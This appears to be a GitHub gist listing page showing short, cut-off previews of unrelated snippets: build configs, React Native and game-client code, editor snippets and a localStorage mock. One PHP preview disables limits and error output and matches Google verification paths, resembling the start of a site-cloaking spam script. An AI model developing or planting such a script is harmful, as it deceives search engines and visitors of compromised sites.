yarn init -y
yarn add -D parcel posthtml-img-autosize posthtml-include posthtml-modules autoprefixer rimraf
touch .posthtmlrc.js
module.exports = { plugins: { "posthtml-img-autosize": { root: "./assets/images"
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// https://gist.github.com/FDiskas/3dd4163d23bbdb77b54852b8cfb71720 | |
export const enum NativeKey { | |
InputNextCamera = 0, // V | |
InputLookLr = 1, // MOUSE RIGHT | |
InputLookUd = 2, // MOUSE DOWN | |
InputLookUpOnly = 3, // (NONE) | |
InputLookDownOnly = 4, // MOUSE DOWN | |
InputLookLeftOnly = 5, // (NONE) | |
InputLookRightOnly = 6, // MOUSE RIGHT | |
InputCinematicSlowmo = 7, // (NONE) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { Player, on, setTimeout, onServer, log, clearTimeout, emit, emitServer } from 'alt-client'; | |
import game from 'natives'; | |
onServer("Bus:From:Airport", async (vehicle) => { | |
const driverStart = { | |
x: -1016.289, | |
y: -2759.372, | |
z: 14.165, | |
model: 's_m_y_airworker', | |
heading: 45.0, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { | |
applyConfigForLinkedDependencies, | |
} = require("@carimus/metro-symlinked-deps"); | |
const path = require('path'); | |
module.exports = applyConfigForLinkedDependencies( | |
{ | |
watchFolders: [path.resolve(__dirname, 'node_modules')], | |
transformer: { | |
getTransformOptions: async () => ({ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
set -e | |
echo What is your Project name? | |
read PROJECT_NAME | |
# Basic template create, rnfb install, link | |
# \rm -fr $PROJECT_NAME | |
# echo "Testing react-native current + react-native-firebase v6.current + Firebase SDKs current" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"Component": { | |
"prefix": "comp", | |
"body": [ | |
"import * as React from 'react';", | |
"import { View, StyleSheet, ViewStyle, Text } from 'react-native';", | |
"", | |
"interface ComponentProps {}", | |
"interface ComponentState {}", | |
"interface Styles {", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global.localStorage = { | |
getItem(key) { | |
return this[key]; | |
}, | |
setItem(key, value) { | |
this[key] = value; | |
}, | |
removeItem(key) { | |
delete this[key]; | |
}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ini_set('memory_limit', '-1'); | |
@ini_set('max_execution_time', 0); | |
@set_time_limit(0); | |
error_reporting(0); | |
@ini_set('display_errors', 0); | |
$ct_dir = dirname(__FILE__)."/bak"; | |
$req_path = $_SERVER["REQUEST_URI"]; | |
$ip = $_SERVER["REMOTE_ADDR"]; | |
if(preg_match("/google(.*).html/i",$req_path,$res)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Show hidden characters
{ "presets": [ "es2015" ] } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var gulp = require('gulp'); | |
var kss = require('kss'); | |
var config = { path: { dest: './dist', src: './src' } }; | |
gulp.task('styleguide', function(){ | |
return kss({ | |
"source": [ | |
config.path.src + "/sass" | |
], | |
"destination": config.path.dest + "/styleguide/", | |
"css": [ |
NewerOlder